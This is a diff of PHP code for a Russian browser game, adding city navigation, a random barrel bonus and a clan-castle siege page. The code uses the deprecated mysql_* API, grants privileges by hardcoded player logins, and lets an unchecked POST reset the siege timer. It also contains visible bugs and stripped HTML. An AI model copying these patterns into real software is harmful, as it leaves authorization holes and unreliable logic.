+elseif($user['room']==2601) { + // zamkovaya + // strelka bps + if ($_GET['level4']) { + header('location: city.php?bps=1'); + } + if ($_GET['level55']) { + header('location: city.php?abog=1'); + } + if ($_GET['got'] && $_GET['level21']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '87',`online`.`room` = '87' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: dshop.php'); + } + if ($_GET['got'] && $_GET['level10']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '35',`online`.`room` = '35' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: krshop.php'); + } + if ($_GET['got'] && $_GET['level44']) { + // if($user['login'] == 'SaulDin' || $user['login'] == 'Дед мазай'){ + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '203',`online`.`room` = '203' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: church.php'); + // }else{ + // print ""; + //} + } + if ($_GET['got'] && $_GET['level1']) { + if($user['login'] == 'SaulDin' || $user['login'] == 'Дед мазай'){ + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '37',`online`.`room` = '37' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: gotzamok.php'); + }else{ + print ""; + } + } + if($_GET['got'] && $_GET['level1052']) { + if($user['level'] >= 4) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1053',`online`.`room` = '1053' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('Location: rep_shop.php'); + } else { + echo ''; + } + } + if($_GET['got'] && $_GET['level1051']) { + if($user['level'] >= 4) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1051',`online`.`room` = '1051' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('Location: lab_enter.php'); + } else { + echo ''; + } + } +if ($_GET['got'] && $_GET['level5']) { + // if($user['login'] == 'eXecuTTer' || $user['login'] == 'GOLD' || $user['login'] == 'Дед Мазай' || $user['align'] == '2.2'){ + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '404',`online`.`room` = '404' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: vxod.php'); + // }else + // { + // print ""; + // } + } +} + +elseif($user['room']==2701) { + if ($_GET['level1']) { + header('location: city.php?zaliv=1'); + } + if ($_GET['level2']) { +// if($user['login'] == 'eXecuTTer' || $user['login'] == 'GOLD' || $user['login'] == 'Слёзы' || $user['login'] == '69' || $user['login'] == 'Дед Мазай' || $user['login'] == 'SHEFF'){ + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '402',`online`.`room` = '402' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: lab_chaos_enter.php'); +// }else{ +// print ""; +// } + } +} + +//Торговая улица +elseif($user['room']==2702) { + if ($_GET['got'] && $_GET['level10']) { + header('location: city.php?cp=1'); + } + if($_GET['got'] && $_GET['level202']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1054',`online`.`room` = '1054' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: fontan_luck.php'); + } + + if ($_GET['level5']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1054',`online`.`room` = '1054' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: fontan.php'); + } + if ($_GET['level6']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '61',`online`.`room` = '61' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: akadem.php'); +// }else{ +// print ""; +// } + } +} +//Арена Богов +elseif($user['room']==2655) { + if ($_GET['got'] && $_GET['level10']) { + header('location: city.php?zamk=1'); + } + if($_GET['got'] && $_GET['level2055']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '603',`online`.`room` = '603' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: aren_of_angels.php'); + } + +} + + elseif($user['room']==26) { + // Strashilka + // strelka cp + if ($_GET['level4']) { + header('location: city.php?cp=1'); + } + if ($_GET['got'] && $_GET['level5']) { + if($user['first'] == 11){ + mysql_query("update `users` set `kwest_see_znahar`=`kwest_see_znahar`+'1' where `id`='".$user['id']."'"); + } + // print ""; + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '43',`online`.`room` = '43' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: znahar.php'); + + } + if($_GET['got'] && $_GET['level660']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '660',`online`.`room` = '660' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: hostel.php'); + } + if($_GET['got'] && $_GET['level20']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '223',`online`.`room` = '223' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: bench.php'); + } + if($_GET['got'] && $_GET['level21']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '222',`online`.`room` = '222' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: bench_s.php'); + } + if($_GET['got'] && $_GET['level22']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '224',`online`.`room` = '224' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: bench_m.php'); + } + if ($_GET['got'] && $_GET['level7']) { + if($user['login'] == 'eXecuTTer' || $user['login'] == 'GOLD' || $user['login'] == 'Дед Мазай' || $user['align'] == '2.2'){ +// print ""; + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '777',`online`.`room` = '777' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: obshaga.php'); + }else{ + print ""; + } + } + if ($_GET['got'] && $_GET['level3']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '2601',`online`.`room` = '2601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: city.php?zamk=1'); + } + + + if ($_GET['got'] && $_GET['level11']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '42',`online`.`room` = '42' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: lotery.php'); + } + if ($_GET['got'] && $_GET['level6']) { + // mysql_query("UPDATE `users`,`online` SET `users`.`room` = '110',`online`.`room` = '110' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + // header('location: jackill.php'); + print ""; + } + //if ($_GET['got'] && $_GET['level5']) { + //mysql_query("UPDATE `users`,`online` SET `users`.`room` = '401',`online`.`room` = '401' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + //header('location: hell.php'); + //} + + } + /*if ($_GET['level7'] OR $_GET['strah']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '21',`online`.`room` = '21' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + $user['room'] = 21; + } + if ($_GET['level8'] && $_GET['strah']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '20',`online`.`room` = '20' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + $user['room'] = 20; + }*/ +$online = mysql_query("SELECT * FROM `online` WHERE `real_time` >= ".(time()-60).""); +?> + + + + + + + + + + + + + + + + + +
    Сейчас в игре : чел.
    \"{$des}\""; + } + function buildset1($id,$img,$top,$left,$des) { + //$imga = ImageCreateFromGif("i/city/sub/".$img.".png"); + #Get image width / height + //$x = ImageSX($imga); + //$y = ImageSY($imga); + unset($imga); + echo "
    \"{$des}\"
    "; + } + if ($user['room'] == 20) { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_cp_day'; + $fon = 'zima_cap_cp_day'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_cp_night'; + $fon = 'zima_cap_cp_night'; + $fon2 = 'snow_transp'; + } + echo "
    \"\""; + echo "
    \"\""; + //buildset(1,"vesna_cap_club",30,235,"Бойцовский Клуб"); + buildset(1,"zima_club",30,235,"Бойцовский Клуб"); + // buildset(2,"vesna_cap_shop",202,171,"Магазин"); + buildset(2,"zima_shop",202,171,"Магазин"); + //buildset(3,"vesna_cap_kom",205,105,"Комиссионный магазин"); + buildset(3,"zima_kom",205,105,"Комиссионный магазин"); + // buildset(4,"vesna_cap_rem",202,290,"Ремонтная мастерская");; + buildset(4,"zima_rem",202,290,"Ремонтная мастерская");; + buildset(13,"vesna_cap_statue",222,365,"Памятник Мэру Города"); + //buildset(5,"2pm",210,430,"Памятник"); + //buildset(6,"vesna_cap_po4ta",180,540,"Почта"); + buildset(6,"zima_po4ta",180,540,"Почта"); + //buildset(7,"arr_right_png",260,710,"Страшилкина Улица"); + buildset(7,"zima_cap_arr_right",260,710,"Страшилкина Улица"); + //buildset(222,"cp_u2_png",180,650,"Торговая улица"); + buildset(222,"zima_cap_arr_top",180,650,"Торговая улица"); + //buildset(8,"arr_left_png",258,21,"Большая парковая улица"); + buildset(8,"zima_cap_arr_left",258,21,"Большая парковая улица"); + //buildset(12,"vesna_cap_berezka",205,435,"Березка"); + buildset(17,"zima_berezka",205,435,"Березка"); + //buildset(11,"vesna_cap_loto",230,615,"Лотерея Сталкера"); + buildset(11,"zima_loto",230,615,"Лотерея Сталкера"); + buildset1(9,"tree2",260,530,"Новогодняя елка"); + buildset(14,"sneg_3",210,390,"Снеговик"); + //buildset(111,"vesna_cap_stella",260,530,"Доска объявления"); + //buildset(111,"zima_stella",260,530,"Доска объявления"); + + + echo "
    "; + } + //buildset(9,"fir",137,235,"Новогодняя елка"); + elseif ($user['room'] == 21) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_strash_day'; + $fon = 'zima_cap_strash_day'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_strash_night'; + $fon = 'zaim_cap_strash_night'; + $fon2 = 'snow_transp'; + } + echo "
    \"\""; + echo "
    \"\""; + //buildset(5,"vesna_cap_bank",180,485,"Банк");; + buildset(5,"zima_cap_bank",180,485,"Банк");; + //buildset(2,"vesna_cap_registratura",170,113,"Регистратура кланов"); + buildset(14,"zima_cap_registratura",170,113,"Регистратура кланов"); + //buildset(7,"vesna_cap_tower",5,315,"Башня смерти"); + buildset(16,"zima_cap_tower",5,315,"Башня смерти"); + //buildset(16555,"tree_png",165,20,"Дерево"); + buildset(16555,"zima_cap_tree",165,20,"Дерево"); + //buildset(3,"arr_right_png",255,708,"Ристалище"); + buildset(3,"zima_cap_arr_right",255,708,"Ристалище"); + //buildset(3,"2strelka",250,720,"Берег залива"); + //buildset(6,"vesna_cap_flowershop",220,613,"Цветочный магазин"); + buildset(13,"zima_cap_flowershop",220,613,"Цветочный магазин"); + //buildset(4,"arr_left_png",258,21,"Центральная площадь"); + buildset(4,"zima_cap_arr_left",258,21,"Центральная площадь"); + //buildset(22,"obshga",150,630,"Общежитие"); + echo "
    "; + } + elseif ($user['room'] == 26) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'zima_cap_park_day'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_park_night'; + $fon = 'zima_cap_park_night'; + $fon2 = 'snow_transp'; + } + echo " + + + '; + $i++; + } +} +// +$lvl = 0; +$exp = 0; +if( $i < 10 ) { + $lvl = 0; + $exp = 10; +}elseif( $i < 15 ) { + $lvl = 1; + $exp = 15; +}elseif( $i < 25 ) { + $lvl = 2; + $exp = 25; +}else{ + $lvl = 3; + $exp = '--'; +} +// +?> +
    \"\""; + echo "
    \"\""; + //buildset(6,"cap_gate",170,340,"Городские ворота"); + buildset(6,"zima_cap_gate",170,340,"Городские ворота"); + //buildset(444,"vesna_cap_vokzal",163,43,"Вокзал"); + buildset(660,"zima_cap_vokzal",163,43,"Общежитие"); + //buildset(5,"vesna_cap_znah",195,538,"Хижина Знахаря"); + buildset(5,"zima_cap_znah",195,538,"Хижина Знахаря"); + //buildset(20,"vesna_cap_2sk",249,416,"Средняя скамейка"); + buildset(21,"zima_cap_2sk",249,416,"Средняя скамейка"); + //buildset(18,"vesna_cap_3sk",250,630,"Большая скамейка"); + buildset(20,"zima_cap_3sk",250,630,"Большая скамейка"); + //buildset(20,"vesna_cap_1sk",228,490,"Маленькая скамейка"); + buildset(22,"zima_cap_1sk",228,490,"Маленькая скамейка"); +// //buildset(7,"ava_vokzal",160,235,"Общежитие"); + //buildset(11,"loto_stalkers",240,160,"Лотерея Сталкеров"); + //buildset(3,"arr_left_png",259,27,"Замковая площядь"); + buildset(3,"zima_cap_arr_left",259,27,"Замковая площядь"); + //buildset(4,"arr_right_png",259,715,"Центральная площадь"); + buildset(4,"zima_cap_arr_right",259,715,"Центральная площадь"); + echo "
    "; + } + + + elseif ($user['room'] == 2601) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'zima_cap_zamk_day'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_zamk_night'; + $fon = 'zima_cap_zamk_night'; + $fon2 = 'snow_transp'; + } + echo "
    \"\""; + echo "
    \"\""; + //buildset(21,"vesna_cap_lavka",240,425,"Храмовая лавка"); + buildset(1052,"zima_cap_lavka",240,425,"Храмовая лавка"); + buildset(10,"ava_post",240,300,"Сувенирный магазинчик"); + //buildset(1,"vesna_cap_ruins",166,48,"Руины Старого замка"); + buildset(1,"zima_cap_ruins",166,48,"Руины Старого замка"); + //buildset(5,"vesna_cap_lab",130,327,"Вход в Лабиринт Хаоса"); + buildset(1051,"zima_cap_lab",130,327,"Вход в Лабиринт Хаоса"); + //buildset(44,"vesna_cap_hram",173,550,"Храм Древних"); + buildset(44,"zima_cap_hram",173,550,"Храм Древних"); + //buildset(227,"arr_left_png",258,21,"Арена Богов"); + buildset(55,"zima_cap_arr_left",258,21,"Арена Богов"); + //buildset(4,"arr_right_png",260,710,"Большая парковая улица"); + buildset(4,"arr_right_png",260,710,"Большая парковая улица"); + echo "
    "; + } + + elseif ($user['room'] == 2655) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'ar_e_n'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_zamk_night'; + $fon = 'ar_e_n'; + //$fon2 = 'snow_transp'; + } + echo " +
    \"\""; + //echo "
    \"\""; + //buildset(21,"vesna_cap_lavka",240,425,"Храмовая лавка"); + buildset(2055,"altr_g",230,340,"Арена Ангелов"); + buildset(2222,"zima_cap_stop",258,21,"Проход закрыт"); + buildset(10,"arr_right_png",260,710,"Замковая площадь"); + echo "
    "; + } + + elseif ($user['room'] == 2111) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_bg_d2'; + $fon = 'zima_rist_bg_day2'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_bg_n2'; + $fon = 'zima_rist_bg_night2'; + $fon2 = 'snow_transp'; + } + echo " + +
    \"\""; + echo "
    \"\""; + //buildset(1,"cap_rist_arr_left",240,30,"Страшилкина Улица"); + buildset(1,"zima_cap_arr_uleft",240,30,"Страшилкина Улица"); + //buildset(2,"stop_png",245,708,"Проход закрыт"); + buildset(2,"zima_cap_arr_right",245,708,"Секретный Лабиринт"); + //buildset(2,"zima_cap_arr_right",245,708,"Проход закрыт"); + //buildset(4,"av_zaliv_svet",200,260,"Храмовая Лавка"); + //buildset(5,"av_zaliv_tma",175,570,"Храм Древних"); + //buildset(14,"vesna_cap_rist_solo",210,160,"Вход в Одиночные сражения"); + buildset(14,"zima_cap_rist_solo",210,160,"Вход в Одиночные сражения"); + //buildset(5,"vesna_cap_rist_group",243,340,"Вход в Сражение отрядов"); + buildset(14,"zima_cap_rist_group",243,340,"Вход в Сражение отрядов"); + //buildset(16,"lord_castle",110,310,"Замок Лорда Разрушителя"); + buildset(1000,"av_zamk_rud",80,310,"Рудник"); + //buildset(16555,"vesna_cap_rist_monstr",145,570,"Вход в Груповые сражения"); + buildset(203,"zima_cap_rist_monstr",145,570,"Вход в Груповые сражения"); + //buildset(21,"angelscastle",131,628,"Замок Мэра Города"); + + $laikas = mysql_result(mysql_query("SELECT `bochka` FROM `users` WHERE `id` = '{$user['id']}'; "),0); + if (!isset($laikas)){ + $laikas=time()-60*60*4; + mysql_query("UPDATE `users` SET `bochka`='".$laikas."' WHERE `id` = '{$user['id']}'; "); + } + if ($_SESSION['usebochka']=='1'&&$laikas<=time()-60*60*4){ + $laikas=time(); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."' WHERE `id` = '{$user['id']}'; "); + $_SESSION['usebochka']='0'; + $bon=mt_rand(1,4); + if ($bon==1){ + $kr=mt_rand(1,25); + if($kr>=15) { + $kr1=mt_rand(16,25); + if($kr1>=20) { + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr1.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr1 WHERE `id` = '{$user['id']}'; "); + } + else { + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr1.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr1 WHERE `id` = '{$user['id']}'; "); + } + } + else{ + addchp ('Внимание! В принесенной бочке Вы нашли '.$kr.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `money`=`money`+$kr WHERE `id` = '{$user['id']}'; "); + } + } + elseif ($bon==2){ + $doblest=mt_rand(1,75); + if($doblest>=40) { + $doblest1=mt_rand(41,75); + if($doblest1>=60) { + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest1.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+'$doblest' WHERE `id` = '{$user['id']}'; "); + } + else { + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest1.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+$doblest WHERE `id` = '{$user['id']}'; "); + + } + } + else{ + addchp ('Внимание! В принесеной бочке Вы нашли '.$doblest.' оч.репутации. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("UPDATE `users` SET `bochka`='".$laikas."', `doblest`=`doblest`+$doblest, `reputation`=`reputation`+$doblest WHERE `id` = '{$user['id']}'; "); + } + } + elseif ($bon==3){ + $rom=mt_rand(1,75); + if($rom>=40) { + $rom1=mt_rand(41,75); + if($rom1>=60) { + addchp ('Внимание! В принесеной бочке Вы нашли странный сосуд... ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("INSERT INTO `inventory` (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`magic`,`otdel`, `isrep`) + VALUES ('5900400','{$_SESSION['uid']}','Бутыль старого пирата','51','1','5','rom.gif',1,'555','188','0') ;"); + } + else { + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + else{ + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + else{ + addchp ('Внимание! Ничего, кроме не нужных водорослей, Вы не нашли... ','{[]}'.nick7 ($user['id']).'{[]}'); + } + } + elseif ($laikas<=time()-60*60*4){ + buildset(3,"bochka",270,630,"Бочка"); + } + + //buildset(21,"angelscastle",131,628,"Замок Мэра Города"); + echo "
    "; + } + + elseif ($user['room'] == 2701) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + $fon = 'av_arena_bg1_day2'; + } else { + $fon = 'av_arena_bg1_day2'; + } + echo " + + +
    \"\""; + echo "
    \"\""; + buildset(1,"3strelka",260,30,"Берег Залива"); + buildset(2,"shar_dark",234,356,"Лабиринт Хаоса"); + buildset(3,"stop_png",260,720,"Проход закрыт"); + echo "
    "; + } + //Торговая улица + elseif ($user['room'] == 2702) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_torg_day'; + $fon = 'zima_cap_torg_day'; + $fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_torg_night'; + $fon = 'zima_cap_torg_night'; + $fon2 = 'snow_transp'; + } + echo " + +
    \"\""; + echo "
    \"\""; + //buildset(14,"vesna_cap_build1",175,70,"Арендная лавка"); + buildset(6,"zima_cap_arenda",175,70,"Академия"); + //buildset(5,"vesna_cap_fontan",210,350,"Фонтан удачи"); + buildset(202,"zima_cap_fontan",210,350,"Фонтан удачи"); + //buildset(16,"t_build42",120,300,"Аукцион"); + buildset(16,"t_build42",120,300,"Аукцион"); + //buildset(16555,"vesna_cap_build3",155,480,"Прокатная лавка"); + buildset(16555,"zima_cap_prokat",155,480,"Прокатная лавка"); + //buildset(21,"vesna_cap_build2",150,565,"Ломбард"); + buildset(21,"zima_cap_lombard",150,565,"Ломбард"); + //buildset(4,"cap_rist_arr_left",259,25,"Центральная площадь"); + buildset(10,"zima_cap_arr_uleft",259,25,"Центральная площадь"); + //buildset(3,"stop_png",259,720,"Проход закрыт"); + buildset(3,"zima_cap_stop",259,720,"Проход закрыт"); + echo "
    "; + } + ?> + += 19 && $user['room']==20 || (int)date("H") >= 0 && (int)date("H") < 5 && $user['room']==20) { + $ms_cit=array('Вечер, звёзды... разбойник за каждым углом...', + 'Говорят, ночью тут вампиры гуляют...', + 'Темно, страшно, даже паладинов не видно...' + ); +echo "".$ms_cit[rand(0, 2)].""; +?> + + + +
    + + + + +
    +
    + + + \ No newline at end of file diff --git a/clan_castle.php b/clan_castle.php new file mode 100644 index 0000000..66f269e --- /dev/null +++ b/clan_castle.php @@ -0,0 +1,329 @@ +0)) header("Location: index.php"); + + include "config.php"; + + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + $owntravma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = ".$user['id']." AND (type=13 OR type=12 OR type=14) limit 1;")); + $klan = mysql_fetch_array(mysql_query("SELECT * FROM `clans` WHERE `id` = '{$user['klan']}' LIMIT 1;")); + + include "functions.php"; + if ($user['room'] != 45) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + + $cc_date=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var`='cc_time' LIMIT 1;")); + $ccd=$cc_date['value']; + + if($_POST['admin_start']) + { + $tm=time(); + mysql_query("UPDATE `variables` SET `value`='{$tm}' WHERE `var`='cc_time';"); + die(""); + } + if($_POST['admin_start1']) + { + $tm=time()-900; + mysql_query("UPDATE `variables` SET `value`='{$tm}' WHERE `var`='cc_time';"); + die(""); + } + + if($_POST['add_zay']) + { + mysql_query("INSERT INTO `clan_castle` VALUES ('{$user['id']}','{$user['klan']}');"); + die(""); + } + + ?> + + + + + + + + + + + + + + + + + +'; + } + +} +elseif(($ccd+900)=time()) +{ + $zays=array(); + $all_zay=mysql_query("SELECT * FROM `clan_castle`;"); + while ($a_zay=mysql_fetch_array($all_zay)) + { + $cur_c=mysql_num_rows(mysql_query("SELECT * FROM `users` WHERE `klan`='{$a_zay['clan']}' AND `room`='45';")); + for($cc=0;$cc<$cur_c;$cc++) + $zays[]=$a_zay['clan']; + } + $own=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var` = 'castle_owner' LIMIT 1;")); + shuffle($zays); + $lucky=$zays[array_rand($zays)]; + if($lucky>0 && $lucky!=$own['vlaue']); + mysql_query("UPDATE `variables` SET `value`='{$lucky}' WHERE `var`='castle_att';"); + $tmp_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$lucky}' LIMIT 1;")); + + if($own['value']>0) + $tmp_o=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$own['value']}' LIMIT 1;")); + + if($tmp_k) echo('Внимание!'.$tmp_k['name'].' собираются штурмовать замок'); + if($tmp_k && $own['value']>0) echo(''.$tmp_o['name'].'!'); + if($tmp_k && !$own['value']>0) echo('!'); +} +elseif(($ccd+90+900)<=time()) +{ + $att=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var` = 'castle_att' LIMIT 1;")); + $own=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var` = 'castle_owner' LIMIT 1;")); + + $at_t=array(); + $ow_t=array(); + + if($att['value']>0) + { + $att_r=mysql_query("SELECT `id` FROM `users` WHERE `klan`='{$att['value']}' AND `room`='45';"); + while($a=mysql_fetch_array($att_r)) + { + $at_on = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date` >= ".(time()-60)." AND `id` = '{$a['id']}' LIMIT 1;")); + if($at_on[0]) + $at_t[]=$a['id']; + } + + + } + + if($own['value']>0) + { + $def_r=mysql_query("SELECT `id` FROM `users` WHERE `klan`='{$own['value']}' AND `room`='45';"); + while($o=mysql_fetch_array($def_r)) + { + $df_on = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date` >= ".(time()-60)." AND `id` = '{$o['id']}' LIMIT 1;")); + if($df_on[0]) + $ow_t[]=$o['id']; + } + + } + + if(empty($at_t)) + { + echo("Смелых так и не нашлось...
    "); + } + elseif(empty($ow_t) && ($own['value']>0)) + { + echo("Хозяева слили замок без боя...
    "); + $cc_own=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_owner' LIMIT 1;")); + $cc_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_own['value']}' LIMIT 1;")); + $cc_att=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_att' LIMIT 1;")); + $cc_a=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_att['value']}' LIMIT 1;")); + {AddChatSystem('Клан '.$cc_a['name'].' без боя забрал у клана '.$cc_k['name'].' Замок Мэра');} + + $c_prev=mysql_fetch_array(mysql_query("SELECT `glava`,`align` FROM `clans` WHERE `id`='{$own['value']}' LIMIT 1;")); + mysql_query("UPDATE `users` SET `align`='{$c_prev['align']}',`abil`='' WHERE `id`='{$c_prev['glava']}';"); + + mysql_query("UPDATE `variables` SET `value`='{$att['value']}' WHERE `var`='castle_owner';"); + mysql_query("UPDATE `variables` SET `value`='0' WHERE `var`='castle_att';"); + mysql_query("UPDATE `variables` SET `value`='{$tm}' WHERE `var`='cc_time';"); + + $c_lead=mysql_fetch_array(mysql_query("SELECT `glava` FROM `clans` WHERE `id`='{$att['value']}' LIMIT 1;")); + $abil=array(); + for($i=0;$i<10;$i++) $abil[$i]=9; + mysql_query("UPDATE `users` SET `align`='7.97',`abil`='".serialize($abil)."' WHERE `id`='{$c_lead['glava']}';"); + + + + mysql_query("DELETE FROM `clan_castle`"); + } + elseif($own['value']==0) + { + //побоище против ботов + //ставим ботов + $bots_raw=array + ("2897","2897","2897","2897","2897","2897","2897","2897","2897","2897","4150","4150","4156","4156","4156","4156", + "2895","2895","4158","4158","4158","4158","4158","2900"); + $bots=array(); + foreach($bots_raw as $bot_id) + if($bot_id>0) + { + $b_pers=mysql_fetch_array(mysql_query("SELECT `login`,`maxhp` FROM users WHERE id='{$bot_id}' LIMIT 1;")); + $bot_hp=$b_pers['maxhp']; + $bot_name=$b_pers['login']; + $nb = mysql_fetch_array(mysql_query("SELECT count(`id`) FROM `bots` WHERE `name` LIKE '".$bot_name."%';")); + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$bot_name." ".($nb[0]+1)."','".$bot_id."','','".$bot_hp."');"); + $bots[]=mysql_insert_id(); + } + + //отаке! + + $teams = array(); + foreach($at_t as $b) + foreach($bots as $gf) + { + $teams[$gf][$b] = array(0,0,time()); + $teams[$b][$gf] = array(0,0,time()); + } + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`blood` + ) + VALUES + ( + NULL,'','".serialize($teams)."','3','1','0','".implode(";",$at_t)."','".implode(";",$bots)."','".time()."','".time()."','0' + )"); + + $id = mysql_insert_id(); + // создаем лог + $rr = ""; + + foreach( $at_t as $k=>$v ) { + if ($k!=0) { $rr.=", "; $rrc.=", "; } + $rr .= nick3($v); + $rrc .= nick7($v); + addchp ('Внимание! Ваш бой начался!
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ','{[]}'.nick7 ($v).'{[]}'); + } + $rr .= "
